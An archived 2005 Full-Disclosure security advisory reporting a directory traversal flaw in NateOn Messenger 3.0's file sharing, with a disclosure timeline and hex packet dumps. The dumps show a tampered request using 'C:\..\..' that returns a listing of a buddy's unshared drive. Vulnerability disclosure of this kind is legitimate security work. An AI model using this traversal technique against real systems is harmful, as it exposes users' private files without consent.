| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20050712024710.A50EC960@lists.grok.org.uk>
Date: Tue Jul 12 10:43:40 2005
From: saintlinu at yahoo.co.kr (saintlinu)
Subject: NateOn Messenger Version 3.0 Directory listing
vulnerability
Dear F/D Mailing lists
Title: NateOn Messenger Version 3.0 Directory listing
vulnerability
Discoverer: PARK, GYU TAE (saintlinu@...l2root.org)
Advisory No.: NRVA05-02
Critical: Less critical
Impact: Information disclosed by unauthorized user and DoS
Where: From remote
Operating System: Windows Only
Solution: patched
Workaround: Disable fileshare function until patched by vendor
Notice: 06. 20. 2005 initiate - No response
06. 23. 2005 2ND - No response
06. 27. 2005 Disclosure vulnerability
06. 29. 2005 Secunia notify and vendor responded
07. 0X. 2005. Patched (I don?t know exactly patched date
bcoz vendor not inform to me)
Description:
The NateOn, twenties and thirties guys famous messenger in Korea, is
Internet messenger such as MSN.
There is vulnerability in FileShare.
When user shared some folder like a?openFolder? then registered friends
can access that folder.
Also we can access unshared folder like a?%windir%?. Because NateOn
believes user?s modified request.
See following detail describe:
Target friend id is ?buddyid=??????@...e.com?
Shared folder name is ?debug?
[recv] Message - ### Socket : 1088 / Content-Length : 9190
Content :
00 20 31 20 31 39 38 0D 0A 3C 66 6F 6C 64 65 72 . 1 198..<folder
6C 69 73 74 20 6E 61 6D 65 3D 27 B3 CA B8 B8 BF list name='.....
CD 27 20 62 75 64 64 79 69 64 3D 27 XX XX XX XX .' buddyid='XXXX
XX XX 40 6E 61 74 65 2E 63 6F 6D 27 20 74 79 70 XX@...e.com' typ
65 3D 27 30 27 3E 3C 66 6F 6C 64 65 72 69 6E 66 e='0'><folderinf
6F 20 6E 61 6D 65 3D 27 2B 5F 2B 27 20 61 75 74 o name='+_+' aut
68 6F 72 69 74 79 3D 27 32 27 20 66 6F 6C 64 65 hority='2' folde
72 69 64 3D 27 30 27 20 66 6F 6C 64 65 72 70 61 rid='0' folderpa
74 68 3D 27 43 3A 5C 64 65 62 75 67 27 20 63 6F th='C:\debug' co
6D 6D 65 6E 74 3D 27 2B 5F 2B 27 20 61 64 64 64 mment='+_+' addd
61 74 65 3D 27 32 30 30 35 30 35 32 36 31 37 35 ate='20050526175
32 33 37 27 3E 3C 2F 66 6F 6C 64 65 72 69 6E 66 237'></folderinf
6F 3E 3C 2F 66 6F 6C 64 65 72 6C 69 73 74 3E 00 o></folderlist>.
00 00 00 00 00 00 ......
----------------------------------------------------------------
We received target user?s shared folder information.
But we can modify send packet using Win32API CraeteRemoteThread
Just substituted ?debug? to ?..\..?
[send] Message - ### Socket : 1088 / Content-Length : 25
Content :
46 4C 52 4D 20 32 20 46 49 4C 45 5F 4C 49 53 54 FLRM 2 FILE_LIST
20 31 20 31 20 32 38 0D 0A 1 1 28..
[send] Message - ### Socket : 1088 / Content-Length : 28
Content :
30 20 XX XX XX XX XX XX XX XX 40 6E 61 74 65 2E 0 YYYYYYYY@...e.
63 6F 6D 20 43 3A 5C 2E 2E 5C 2E 2E com C:\..\..
----------------------------------------------------------------
You can see the below messages.
[recv] Message - ### Socket : 1088 / Content-Length : 9216
Content :
00 4C 52 4D 20 31 20 46 49 4C 45 5F 4C 49 53 54 .LRM 1 FILE_LIST
20 31 20 31 20 39 38 31 0D 0A 3C 66 69 6C 65 6C 1 1 981..<filel
69 73 74 20 69 64 3D 27 XX XX XX XX XX XX 40 6E ist id='XXXXXX@n
61 74 65 2E 63 6F 6D 27 20 61 75 74 68 3D 27 32 ate.com' auth='2
27 20 70 61 74 68 3D 27 43 3A 5C 2E 2E 5C 2E 2E ' path='C:\..\..
27 20 66 6F 6C 64 65 72 69 64 3D 27 30 27 3E 3C ' folderid='0'><
66 69 6C 65 20 6E 61 6D 65 3D 27 41 55 54 4F 45 file name='AUTOE
58 45 43 2E 42 41 54 27 20 73 69 7A 65 3D 27 30 XEC.BAT' size='0
27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 2D ' date='2004-09-
31 35 20 31 36 3A 34 32 3A 30 37 27 20 69 73 66 15 16:42:07' isf
6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 older='n'/><file
20 6E 61 6D 65 3D 27 43 4F 4E 46 49 47 2E 53 59 name='CONFIG.SY
53 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 S' size='0' date
3D 27 32 30 30 34 2D 30 39 2D 31 35 20 31 36 3A ='2004-09-15 16:
34 32 3A 30 37 27 20 69 73 66 6F 6C 64 65 72 3D 42:07' isfolder=
27 6E 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 'n'/><file name=
27 64 65 73 6B 74 6F 70 5F 61 75 64 69 74 2E 74 'desktop_audit.t
78 74 27 20 73 69 7A 65 3D 27 32 30 38 34 27 20 xt' size='2084'
64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 34 date='2005-05-24
20 30 30 3A 32 32 3A 32 38 27 20 69 73 66 6F 6C 00:22:28' isfol
64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 6E der='n'/><file n
61 6D 65 3D 27 64 6E 2E 76 62 73 27 20 73 69 7A ame='dn.vbs' siz
65 3D 27 33 32 34 27 20 64 61 74 65 3D 27 32 30 e='324' date='20
30 34 2D 31 30 2D 32 30 20 31 38 3A 33 31 3A 33 04-10-20 18:31:3
38 27 20 69 73 66 6F 6C 64 65 72 3D 27 6E 27 2F 8' isfolder='n'/
3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 65 64 69 ><file name='edi
2E 65 78 65 27 20 73 69 7A 65 3D 27 33 32 37 36 .exe' size='3276
38 27 20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 8' date='2004-10
2D 32 30 20 31 38 3A 30 37 3A 30 35 27 20 69 73 -20 18:07:05' is
66 6F 6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C folder='n'/><fil
65 20 6E 61 6D 65 3D 27 6D 73 30 34 2D 30 33 32 e name='ms04-032
2E 77 6D 66 27 20 73 69 7A 65 3D 27 35 37 36 27 .wmf' size='576'
20 64 61 74 65 3D 27 32 30 30 34 2D 31 30 2D 32 date='2004-10-2
30 20 31 38 3A 33 33 3A 34 31 27 20 69 73 66 6F 0 18:33:41' isfo
6C 64 65 72 3D 27 6E 27 2F 3E 3C 66 69 6C 65 20 lder='n'/><file
6E 61 6D 65 3D 27 63 6F 6E 63 65 72 74 27 20 73 name='concert' s
69 7A 65 3D 27 30 27 20 64 61 74 65 3D 27 32 30 ize='0' date='20
30 34 2D 31 30 2D 32 30 20 31 35 3A 31 32 3A 35 04-10-20 15:12:5
37 27 20 69 73 66 6F 6C 64 65 72 3D 27 79 27 2F 7' isfolder='y'/
3E 3C 66 69 6C 65 20 6E 61 6D 65 3D 27 64 65 62 ><file name='deb
75 67 27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 ug' size='0' dat
65 3D 27 32 30 30 35 2D 30 35 2D 32 33 20 31 32 e='2005-05-23 12
3A 34 38 3A 33 37 27 20 69 73 66 6F 6C 64 65 72 :48:37' isfolder
3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E 61 6D 65 ='y'/><file name
3D 27 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64 20 ='Documents and
53 65 74 74 69 6E 67 73 27 20 73 69 7A 65 3D 27 Settings' size='
30 27 20 64 61 74 65 3D 27 32 30 30 34 2D 30 39 0' date='2004-09
2D 31 35 20 31 37 3A 30 39 3A 31 34 27 20 69 73 -15 17:09:14' is
66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C folder='y'/><fil
65 20 6E 61 6D 65 3D 27 50 72 6F 67 72 61 6D 20 e name='Program
46 69 6C 65 73 27 20 73 69 7A 65 3D 27 30 27 20 Files' size='0'
64 61 74 65 3D 27 32 30 30 35 2D 30 35 2D 32 36 date='2005-05-26
20 30 38 3A 30 36 3A 31 31 27 20 69 73 66 6F 6C 08:06:11' isfol
64 65 72 3D 27 79 27 2F 3E 3C 66 69 6C 65 20 6E der='y'/><file n
61 6D 65 3D 27 74 65 73 74 27 20 73 69 7A 65 3D ame='test' size=
27 30 27 20 64 61 74 65 3D 27 32 30 30 35 2D 30 '0' date='2005-0
34 2D 32 30 20 31 34 3A 31 35 3A 34 39 27 20 69 4-20 14:15:49' i
73 66 6F 6C 64 65 72 3D 27 79 27 2F 3E 3C 66 69 sfolder='y'/><fi
6C 65 20 6E 61 6D 65 3D 27 57 49 4E 44 4F 57 53 le name='WINDOWS
27 20 73 69 7A 65 3D 27 30 27 20 64 61 74 65 3D ' size='0' date=
27 32 30 30 34 2D 31 30 2D 32 30 20 31 36 3A 30 '2004-10-20 16:0
30 3A 31 37 27 20 69 73 66 6F 6C 64 65 72 3D 27 0:17' isfolder='
79 27 2F 3E 3C 2F 66 69 6C 65 6C 69 73 74 3E 00 y'/></filelist>.
00 00 00 00 00 00 ......
buddy id = YYYYYY@...e.com
Requested directory = 'C:\..\..'
File lists on unshared directory
<filelist id='YYYYYY@...e.com' auth='2' path='C:\..\..' folderid='0'>
<file name='AUTOEXEC.BAT' size='0' date='2004-09-15 16:42:07'
isfolder='n'/>
<file name='CONFIG.SYS' size='0' date='2004-09-15 16:42:07'
isfolder='n'/>
<file name='desktop_audit.txt' size='2084' date='2005-05-24 00:22:28'
isfolder='n'/>
<file name='dn.vbs' size='324' date='2004-10-20 18:31:38'
isfolder='n'/>
<file name='edi.exe' size='32768' date='2004-10-20 18:07:05'
isfolder='n'/>
<file name='ms04-032.wmf' size='576' date='2004-10-20 18:33:41'
isfolder='n'/>
<file name='concert' size='0' date='2004-10-20 15:12:57'
isfolder='y'/>
<file name='debug' size='0' date='2005-05-23 12:48:37'
isfolder='y'/>
<file name='Documents and Settings' size='0' date='2004-09-15 17:09:14'
isfolder='y'/>
<file name='Program Files' size='0' date='2005-05-26 08:06:11'
isfolder='y'/>
<file name='test' size='0' date='2005-04-20 14:15:49'
isfolder='y'/>
<file name='WINDOWS' size='0' date='2004-10-20 16:00:17'
isfolder='y'/>
</filelist>.
---------------------[cut cut]----------------------------------------------
Thanks my Null@...t members
PS. I?m very sorry for my poor English
Cheers
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050712/04693892/attachment-0001.html
Powered by blists - more mailing lists